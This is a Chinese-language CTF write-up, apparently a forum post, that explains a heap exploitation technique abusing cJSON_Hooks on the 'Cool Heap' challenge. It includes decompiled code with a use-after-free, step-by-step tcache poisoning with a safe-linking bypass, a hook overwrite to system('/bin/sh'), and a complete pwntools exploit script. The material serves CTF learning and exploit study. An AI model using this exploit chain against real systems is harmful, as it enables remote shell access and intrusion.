-
-
[原创]基于cJSON_Hooks的堆利用
-
发表于: 2026-7-31 16:57 159
-
House of json
cJSON库中存在一个cJSON_Hooks结构体用于自定义内存分配于释放,可以此劫持程序控制流进行攻击,下以2025 NPC² CTF 的Cool Heap题目为例展示利用链
typedef struct cJSON_Hooks
{
void *(CJSON_CDECL *malloc_fn)(size_t sz); // 默认为标准库的 malloc
void (CJSON_CDECL *free_fn)(void *ptr); // 默认为标准库的 free
} cJSON_Hooks;
glibc版本为2.35,保护全开


ida 反编译一下,经典菜单题,存在UAF漏洞
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int cmd; // [rsp+4h] [rbp-104Ch]
unsigned int idx; // [rsp+8h] [rbp-1048h]
int size; // [rsp+Ch] [rbp-1044h]
void *src; // [rsp+10h] [rbp-1040h]
__int64 json; // [rsp+18h] [rbp-1038h]
__int64 ObjectItemCaseSensitive; // [rsp+20h] [rbp-1030h]
__int64 idx_json; // [rsp+28h] [rbp-1028h]
__int64 size_json; // [rsp+30h] [rbp-1020h]
__int64 content_json; // [rsp+38h] [rbp-1018h]
__int64 buf[514]; // [rsp+40h] [rbp-1010h] BYREF
buf[513] = __readfsqword(0x28u);
initial(argc, argv, envp);
memset(buf, 0, 4096);
cmd = -1;
idx = 0;
size = 0;
src = 0LL;
while ( 1 )
{
printf("> ");
read(0, buf, 0xFFFuLL);
json = cJSON_Parse(buf); // json 没delete
ObjectItemCaseSensitive = cJSON_GetObjectItemCaseSensitive(json, "cmd");
if ( *(_DWORD *)(ObjectItemCaseSensitive + 24) == 8 )
cmd = *(_DWORD *)(ObjectItemCaseSensitive + 40);// cmd
idx_json = cJSON_GetObjectItemCaseSensitive(json, "idx");
if ( *(_DWORD *)(idx_json + 24) == 8 )
idx = *(_DWORD *)(idx_json + 40) % 15;
size_json = cJSON_GetObjectItemCaseSensitive(json, "size");
if ( *(_DWORD *)(size_json + 24) == 8 )
size = *(_DWORD *)(size_json + 40);
content_json = cJSON_GetObjectItemCaseSensitive(json, "content");
if ( *(_DWORD *)(content_json + 24) == 16 )
src = *(void **)(content_json + 32);
if ( cmd == 26318864 ) // exit cmd=26318864
{
puts("いいよ、こいよ");
_exit(-114514);
}
if ( cmd > 26318864 )
{
LABEL_32:
puts("Invalid cmd");
}
else if ( cmd == 1131796 ) // edit cmd=1131796
{
if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
{
if ( size >= *((_DWORD *)&size_array + 4 * (int)idx) - 1 )
{
puts("How dare you!");
read(0, *((void **)&chunk_array + 2 * (int)idx), *((_DWORD *)&size_array + 4 * (int)idx) - 1);// UAF
}
else
{
memcpy(*((void **)&chunk_array + 2 * (int)idx), src, *((_DWORD *)&size_array + 4 * (int)idx) - 1);
}
}
printf("chunk[%d] updated\n", idx);
}
else
{
if ( cmd > 1131796 )
goto LABEL_32;
if ( cmd == 26214 ) // show chunk cmd=26214
{
if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
puts(*((const char **)&chunk_array + 2 * (int)idx));
printf("chunk[%d] content printed\n", idx);
}
else
{
if ( cmd > 26214 )
goto LABEL_32;
if ( cmd )
{
if ( cmd != 4919 ) // free chunk cmd=4919
goto LABEL_32;
if ( *((_QWORD *)&chunk_array + 2 * (int)idx) )
free(*((void **)&chunk_array + 2 * (int)idx));// UAF
printf("chunk[%d] freed\n", idx);
}
else
{ // add chunk cmd=0
//
*((_QWORD *)&chunk_array + 2 * (int)idx) = malloc(size);
*((_DWORD *)&size_array + 4 * (int)idx) = size;
printf("chunk[%d] created\n", idx);
}
}
}
}
}
下面进行漏洞利用:
先泄漏一下libc,这里注意cJSON解析时会切割释放后的大堆块
# leak libc
add(0,0x1500)
delete(0)
add(0,0x12d0)
show(0)
libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0
success("libc base: "+hex(libc.address))
然后打tcache poisoning把堆块申请到environ附近泄漏栈地址
# tcache poisoning && bypass safe-linking && leak stack
environ = libc.sym['environ']
success('environ: '+hex(environ))
add(1,0x80)
add(2,0x80)
delete(2)
delete(1)
show(1)
tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
show(2)
tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_base = (tmp_1^tmp_2)-0x2330
success('heap_base: '+hex(heap_base))
edit(1,p64(environ^((heap_base+0x2070)>>12)))
add(3,0x80)
add(4,0x80) #environ
show(4)
stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
main_addr =stack_leak-0x110
success("main_addr: "+hex(main_addr))
然后再打tcache posioning把堆块分配到这里,泄漏出main地址,进而泄漏pie

相关脚本:
# tcache posioning && leak pie
add(5,0x90)
add(6,0x90)
delete(6)
delete(5)
edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align
add(7,0x90)
add(8,0x90)
if(main_addr%0x10==0):
edit(8,b'a'*0x10)
show(8)
p.recvuntil(b'a'*0x10)
main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
else:
edit(8,b'a'*0x18)
show(8)
p.recvuntil(b'a'*0x18)
main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
success("main: "+hex(main))
pie = main-0x2390
然后打cJSON_Hooks。malloc_hook不变,free_hook改成system,然后再发送{"/bin/sh"(注意没有右括号)这样cJSON_Parse过程中会先分配内存给字符串"/bin/sh"分配一个堆块来存放,然后发现没有右括号解析失败,开始递归销毁所有在此过程中分配的内存块,触发system("/bin/sh")
# cJSON_Hooks
jm_hook =pie+0xb010
jf_hook =pie+0xb018
add(9,0x100)
add(10,0x100)
delete(10)
delete(9)
edit(9,p64(jm_hook^((heap_base+0x4c60)>>12)))
add(11,0x100)
add(12,0x100)
one_gadget=[i+libc.address for i in one_gadget_base]
# overwrite hooks
edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system']))
p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell

完整exp:
from pwn import *
from LibcSearcher import*
import json
context(os='linux',arch='amd64')
# context.log_level='debug'
context.terminal = ['zellij', 'run', '-c', '-d', 'right', '--']
ip='127.0.0.1'
port=60061
b='''
b main
b *main+887
b *$rebase(0x25fc)
'''
elf=ELF('./vuln',False)
libc=ELF('./libc.so.6',False)
temp = {
"cmd":-1,
"idx":0,
"size":0,
"content":"padding"
}
def add(idx,size):
tmp ={'cmd':0,'idx':idx,'size':size,'content':'padding'}
p.sendafter(b'> ',json.dumps(tmp).encode())
def delete(idx):
tmp ={'cmd':4919,'idx':idx,'size':0,'content':'padding'}
p.sendafter(b'> ',json.dumps(tmp).encode())
def show(idx):
tmp ={'cmd':26214,'idx':idx,'size':0,'content':'padding'}
p.sendafter(b'> ',json.dumps(tmp).encode())
def edit(idx,content=b''):
tmp ={'cmd':1131796,'idx':idx,'size':0xFFFF,'content':'padding'}
p.sendafter(b'> ',json.dumps(tmp).encode())
p.sendafter(b'How dare you!\n',content)
one_gadget_base = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd43,0xebd3f]
# p=process(elf.path)
p=remote(ip,port)
# p=gdb.debug(elf.path,b)
# leak libc
add(0,0x1500)
delete(0)
add(0,0x12d0)
show(0)
libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0
success("libc base: "+hex(libc.address))
# tcache poisoning && bypass safe-linking && leak stack
environ = libc.sym['environ']
success('environ: '+hex(environ))
add(1,0x80)
add(2,0x80)
delete(2)
delete(1)
show(1)
tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
show(2)
tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
heap_base = (tmp_1^tmp_2)-0x2330
success('heap_base: '+hex(heap_base))
edit(1,p64(environ^((heap_base+0x2070)>>12)))
add(3,0x80)
add(4,0x80) #environ
show(4)
stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
main_addr =stack_leak-0x110
success("main_addr: "+hex(main_addr))
# tcache posioning && leak pie
add(5,0x90)
add(6,0x90)
delete(6)
delete(5)
edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align
add(7,0x90)
add(8,0x90)
if(main_addr%0x10==0):
edit(8,b'a'*0x10)
show(8)
p.recvuntil(b'a'*0x10)
main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
else:
edit(8,b'a'*0x18)
show(8)
p.recvuntil(b'a'*0x18)
main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))
success("main: "+hex(main))
pie = main-0x2390
# cJSON_Hooks
jm_hook =pie+0xb010
jf_hook =pie+0xb018
add(9,0x100)
add(10,0x100)
delete(10)
delete(9)
edit(9,p64(jm_hook^((heap_base+0x4c60)>>12)))
add(11,0x100)
add(12,0x100)
one_gadget=[i+libc.address for i in one_gadget_base]
# overwrite hooks
edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system']))
p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell
p.interactive()
'''
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
'''
赞赏
谁下载
赞赏
雪币:
留言: